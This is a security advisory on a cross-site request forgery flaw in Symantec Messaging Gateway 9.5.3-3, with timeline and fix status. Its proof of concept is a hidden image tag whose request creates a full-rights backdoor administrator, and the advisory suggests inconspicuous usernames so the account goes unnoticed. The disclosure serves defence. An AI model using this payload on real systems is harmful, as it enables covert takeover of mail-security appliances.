Summary
Name: Symantec Messaging Gateway – Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams
Vendor: Symantec
Vendor Reference:
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published
TimeLine
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012
Description
I. VULNERABILITY
Symantec Messaging Gateway 9.5.3-3 – Easy CSRF to add a backdoor-administrator (for example)
II. BACKGROUND
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
III. DESCRIPTION
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.
Technical Details
IV. PROOF OF CONCEPT
An attacker can create an web page with a hidden image-tag (example below)
A very interesting page indeed
<>
src=" http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add id=0 userName=backdoor passwd=muhaha3 confirmPassword=muhaha3 fullAdminRole=true statusRole=true"
height=0 width=0>
When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).
The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something like “system” or “filter” they may not notice this as an issue anyway)
The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.
Many other functions can be abused in this way to arbitrarily reconfigure the appliance.
Fix Information
An updated version of the software has been released to address the vulnerability:
